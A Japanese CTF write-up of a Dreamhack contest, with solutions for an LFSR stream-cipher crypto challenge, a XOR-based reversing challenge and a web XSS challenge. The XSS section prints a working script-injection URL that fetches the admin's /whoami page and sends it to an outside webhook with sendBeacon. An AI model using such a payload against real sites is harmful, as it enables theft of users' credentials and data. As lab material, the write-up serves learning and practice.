3完だけして、12位でした。SROPの問題ができませんでした。
最初のcryptoのSTREME REVERIEだけでも頑張って解いたので見てほしいです
Dreamhackちゃんと参加したけどハマりそう。
AtCoderのCTF版みたいなものか
[crypto] STREME REVERIE 437pts
Stream Cipher, to the Extreme!
output.txt
encrypted flag > c615a6cbc4bbf37fe65af240813248140925f2afb31f6c6b5bf71cdfa151fcd55999cf95e2eb9313fc75afe39d1bf836ef14931afe19e16a7c16a1bb41d5abe5d124991d
cipher.py
class STREAM:
def __init__(self, seed, size):
self.state = self.num2bits(seed, size)
# x^32 + x^22 + x^2 + x^1 + 1
self.taps = (32, 22, 2, 1)
def num2bits(self, num, size):
assert num < (1 << size)
return bin(num)[2:].zfill(size)
def bits2num(self, bits):
return int('0b' + bits, 2)
def shift(self):
new_bit = 0
for tap in self.taps:
new_bit ^= int(self.state[tap - 1])
new_bit = str(new_bit)
self.state = new_bit + self.state[:-1]
return new_bit
def getNbits(self, num):
sequence = ""
for _ in range(num):
sequence += self.shift()
return sequence
def encrypt(self, plaintext):
ciphertext = b""
for p in plaintext:
stream = self.bits2num(self.getNbits(8))
c = p ^ stream
ciphertext += bytes([c])
return ciphertext
def decrypt(self, ciphertext):
plaintext = b""
for c in ciphertext:
stream = self.bits2num(self.getNbits(8))
p = c ^ stream
plaintext += bytes([p])
return plaintext
if __name__ == "__main__":
import os
for seed in range(0x100):
Alice = STREAM(seed, 32)
Bob = STREAM(seed, 32)
plaintext = os.urandom(128)
ciphertext = Alice.encrypt(plaintext)
assert plaintext == Bob.decrypt(ciphertext)
prob.py
#!/usr/bin/env python3
from cipher import STREAM
import random
if __name__ == "__main__":
with open("flag", "rb") as f:
flag = f.read()
assert flag[:3] == b'DH{' and flag[-1:] == b'}'
seed = random.getrandbits(32)
stream = STREAM(seed, 32)
print(f"encrypted flag > {stream.encrypt(flag).hex()}")
crypto得意ではないので間違えてるかもしれません。
LFSRの問題です。
コードを見るにフィボナッチLFSRだと思います。
DH{と}が既知平文としてわかっています。
そして、seedには32bits使っています。
なんか全部seed出したりするにはガウス消去みたいなのを使わないといけないらしいですがよくわからないので、最初の三文字(24bits)分だけ頑張って、あとの8bitsは全探索します。256回だけなので。
STREAMクラス内にdecrypt関数を用意してくれているのでそれらを使いましょう。
フィボナッチ型はタップ位置(今回はコメントに書いてあるx^32 + x^22 + x^2 + x^1 + 1を使って、32,22,2,1である)でXORした結果を左端に追加しています。
参考https://note.com/tmnkj/n/n09eed50e0523
そしてencrypt関数では1文字に対し8bits分のstreamを作成し、plaintextとxorしています。つまり、最初のciphertext24bits分とDH{をXORしたら、stateの24bits分がわかります。
注:シフトされて左端に行ったものがnew_bitsでshift関数内で返されているが、getNbits関数では+=と末尾に追加されているので、先頭24bitsをまとめて逆順にしないといけない。
def encrypt(self, plaintext):
ciphertext = b""
for p in plaintext:
stream = self.bits2num(self.getNbits(8))
c = p ^ stream
ciphertext += bytes([c])
return ciphertext
方針は固まりました。
1.既知平文のDH{と、ciphertextの最初の24bitsをxor(どちらも8bitsに埋めてから計算しないといけない。self.getNbits(8)としているため)
2.xorした結果を逆順にし、DH{まで暗号化したときのstateを24bitsまで再現
3.残りの8bitsを全探索する。
4.内部状態が一致すると、ストリーム暗号なので別にちゃんと復号できると思うので復号(xorするだけなので)
5.末尾が}で終わっているものかどうかをチェック
実装力には目をつぶってください
from cipher import STREAM
ciphertext = bytes.fromhex("c615a6cbc4bbf37fe65af240813248140925f2afb31f6c6b5bf71cdfa151fcd55999cf95e2eb9313fc75afe39d1bf836ef14931afe19e16a7c16a1bb41d5abe5d124991d")
print(ciphertext)
#こいつが16進数なのを忘れていた…
known_plain_text = b"DH{"
print(known_plain_text)
known_part_state = ""
ciphertext_known_bits = f"{ciphertext[0]:08b}{ciphertext[1]:08b}{ciphertext[2]:08b}"
known_plain_text_bits = f"{known_plain_text[0]:08b}{known_plain_text[1]:08b}{known_plain_text[2]:08b}"
ks_bits = [
str(int(c) ^ int(k))
for c,k in zip(
ciphertext_known_bits,
known_plain_text_bits
)
]
known_part_state = "".join(ks_bits)[::-1]
for i in range(256):
stream = STREAM(0,32) #適当に作る
stream.state = known_part_state + f"{i:08b}"
dec = stream.decrypt(ciphertext[3:])
if dec.endswith(b'}'):
print(b"find the flag !!!!" + b"DH{" + dec)
初めてちゃんと、cryptoを自分で理解?(怪しいけど)して解けた
気持ちいね
[rev] My Favorite Fruit 175pts
問題分
This little chatbot wants to know your favorite fruit.
Do you think you can get the flag from this chatbot?
The flag format is DH{}
.
Dreamhackのwriteupに投稿したらコインがもらえると思って投稿したものなので英語です。(もらえなかった)
I have revieved a binary.
let’s decompile it with IDA.
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v4; // [rsp+8h] [rbp-18h]
char s1[8]; // [rsp+Fh] [rbp-11h] BYREF
char v6; // [rsp+17h] [rbp-9h]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]
v7 = __readfsqword(0x28u);
*(_QWORD *)s1 = 0LL;
v6 = 0;
v4 = 0;
do
{
printf("What is your favorite fruit?\n> ");
__isoc99_scanf("%9s", s1);
if ( !strcmp(s1, "banana") )
{
puts("I also like banana.");
if ( (v4 & 1) == 0 )
{
v4 |= 1u;
sub_11E9("banana");
}
}
else if ( !strcmp(s1, "strawberry") )
{
puts("Strawberries! Great choice.");
if ( (v4 & 2) == 0 )
{
v4 |= 2u;
sub_11E9("strawberry");
}
}
else if ( !strcmp(s1, "erwin") )
{
puts("I never heard of it, but it looks delicious.");
if ( (v4 & 4) == 0 )
{
v4 |= 4u;
sub_11E9("erwin");
}
}
else if ( !strcmp(s1, "mandarin") )
{
puts("It's so sour...");
if ( (v4 & 8) == 0 )
{
v4 |= 8u;
sub_11E9("mandarin");
}
}
else if ( !strcmp(s1, "melon") )
{
puts("I wanna eat it with jamon.");
if ( (v4 & 0x10) == 0 )
{
v4 |= 0x10u;
sub_11E9("melon");
}
}
else
{
puts("Ew, I don't like it.");
}
}
while ( v4 != 31 );
printf("Here is the flag: %s\n", a0);
return 0LL;
}
__int64 __fastcall sub_11E9(const char *a1)
{
__int64 result; // rax
unsigned int i; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]
v3 = strlen(a1);
for ( i = 0; ; ++i )
{
result = i;
if ( i > 0x44 )
break;
a0[i] ^= a1[(int)i % v3];
}
return result;
}
This is simple xor.
So, I take the data in a0.
And then I create the following solver:
data = [0x30,0x2B,0x12,0x06,0x19,0x4E,0x1D,0x5E,0x46,0x1D,0x49,0x52,0x09,0x10,0x40,0x5D,0x40,0x5C,0x4D,0x4E,0x45,0x15,0x0A,0x0D,0x40,0x53,0x40,0x54,0x42,0x52,0x44,0x5A,0x5E,0x51,0x46,0x0C,0x43,0x19,0x11,0x12,0x1C,0x53,0x5D,0x06,0x48,0x40,0x10,0x04,0x1E,0x4D,0x18,0x5F,0x5E,0x46,0x4E,0x54,0x12,0x5E,0x43,0x4C,0x4C,0x46,0x59,0x5D,0x17,0x58,0x1B,0x11,0x7B]
fruits = ["banana","strawberry","erwin","mandarin","melon"]
data2 = data[:]
for fruit in fruits:
l = len(fruit)
for i in range(len(data2)):
data2[i] ^= ord(fruit[i % l])
print(bytes(data2))
[web] Are you admin? 175pts
Hmm… You look suspicious. Are you admin?Translate
Download Challenge
reportするとこがあることから、XSSと想像できます。
intro.htmlを見てみると、
<div class="container">
<h1>Introduction</h1>
{% if name and detail %}
<p>Hello, my name is <strong>{{ name | safe }}</strong>.</p>
<p>{{ detail }}</p>
{% else %}
<p>Introduce yourself!</p>
{% endif %}
</div>
となっており、{{ name | safe }}となっていることから、XSSが発生します。
app.pyを見ると、ユーザー名adminでログインしていて、passwordがフラグらしいので、/whoamiにリクエストを飛ばしてwebhookすればよさそうです。
はまやんさんのサイトからペイロードは引っ張ってきました。
http://host3.dreamhack.games:22133/intro?name=%3Cscript%3Efetch(%22/whoami%22).then(r=%3Er.text()).then(z=%3Enavigator.sendBeacon(%22https://webhook.site/b4d7cff1-d8a7-48b9-a88e-926186aa65cf%22,%20z))%3C/script%3E&detail=2
をreportに送信するとフラグが得られました。